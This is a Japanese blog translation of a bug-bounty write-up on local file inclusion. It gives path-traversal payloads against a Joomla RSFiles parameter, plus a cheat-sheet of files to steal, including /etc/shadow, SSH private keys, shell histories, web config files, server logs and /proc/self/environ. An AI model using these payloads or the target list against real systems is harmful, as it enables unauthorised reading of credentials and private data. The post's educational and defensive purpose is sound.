A Guide to LFI Discovery: Uncover Vulnerabilities and Enhance Web Security | Bug bounty から学ぶ

ソース:

medium.com

脆弱性:LFI

 

訳:

ローカル ファイル インクルージョン (LFI) は、 Web セキュリティに重大な影響を与える可能性がある Web 脆弱性の一種で。
LFI は、Web アプリケーションにより、攻撃者が Web ブラウザを通じてサーバー上のファイルを組み込むことを許可した場合に発生し。

 

例:

www.target.com/?option=com_rsfiles&task=files.display&path=/////etc/passwd

www.target.com/search=/../../../../etc/passwd

www.target.com/search=//..//..//..//..//etc/passwd

 

攻撃者は入力を操作して任意のファイルを読み込む 、機密システム ファイル、構成ファイル、さらには実行可能スクリプトなどの可能性があり。
LFI の脆弱性は、 データの漏洩、機密ファイルへの不正アクセス、さらにはリモートでのコード実行につながる可能性があるため、特に懸念されていて。

LFI が Web セキュリティに与える影響は非常に大きくなる可能性があり。
LFI の脆弱性が悪用されると、攻撃者は次のことを行う可能性があって。

 

  1. 機密情報へのアクセス: 攻撃者は、パスワード、API キー、ユーザー データなどの重要な情報が含まれる可能性のあるシステム ファイル、アプリケーション ソース コード、構成ファイルにアクセスする可能性があり。
  2. 任意のコードの実行: 場合によっては、LFI によりリモートでコードが実行され、攻撃者がサーバー上で悪意のあるコードを実行できるようになり、システム全体が危険にさらされる可能性があって。
  3. セキュリティ制御のバイパス: LFI は、セキュリティ メカニズムをバイパスし、制限されたディレクトリにアクセスして、認証と認可のチェックを回避でき。
  4. データの漏洩: ユーザーデータ、ログ、その他の機密情報が漏洩する可能性があり、プライバシー侵害やコンプライアンス問題につながる可能性があり。
  5. システムの侵害: 攻撃者がファイルをアップロードして実行できる場合、LFI はシステム全体の侵害への足掛かりとなり、Web アプリケーション、サーバー、およびデータを危険にさらす可能性があって。

LFI の脆弱性を軽減するには、 Web 開発者はユーザー入力を慎重に検証してサニタイズし、ファイルパスを指定するときにユーザーが制御するデータの使用を避ける必要があって
LFI の脆弱性が悪意のある攻撃者によって悪用される前に、その脆弱性を特定して対処するには、定期的なセキュリティ テストとコード レビューが不可欠で。

 

ハッピーハッキング:

いつものように、私は自分の方法論をよりよく示すために、いくつかの偵察を開始し、使用したコマンドは次のとおりで。

 

#1

これらは常に .txt に保存してください 

 

#2

 

 

#3

 

 

簡単な調査の後、httpx を使用してドメインをテストしたところ、興味深いパラメータを見つけ。

?option=com_rsfiles&task=files.display&path=

 

基本的な LFI ペイロードを試してみて。

 

/////////////../../../../etc/group
 

 
/////////////////////////////////////////////../etc/passwd

 

 

プロのヒント: このような種類の脆弱性を探す場合は、機密ファイルを取得してください。
以下に重要なファイルのパスが表示され。

 

SENSITIVE FILES

/etc/issue (A message or system identification to be printed before the login prompt.)
/etc/motd (Message of the day banner content. Can contain information about the system owners or use of the system.)
/etc/passwd
/etc/group
/etc/resolv.conf (might be better than /etc/passwd for triggering IDS sigs)
/etc/shadow
/home/[USERNAME]/.bash_history or .profile
~/.bash_history or .profile
$USER/.bash_history or .profile
/root/.bash_history or .profile

 

WEB SERVERS

# Usually found in the root of the website /root/
.htaccess
config.php

 

SSH

authorized_keys
id_rsa
id_rsa.keystore
id_rsa.pub
known_hosts

 

LOGS

/etc/httpd/logs/acces_log
/etc/httpd/logs/error_log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_ log
/usr/local/apache/logs/access. log
/var/log/apache/access_log
/var/log/apache2/access_log
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/access_log

 

PROC FILES

Linux では、/proc には、/proc/PID という名前のディレクトリに、カーネル プロセスを含む実行中の各プロセスのディレクトリが含まれます。PID はプロセス番号です。 各ディレクトリには、/proc/PID/cmdline、プロセスを最初に開始したコマンドなど、1 つのプロセスに関する情報が含まれています。  

 

wiki:

en.wikipedia.org

/proc/sched_debug # Can be used to see what processes the machine is running
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version
/proc/self/environ

 

ほなほな。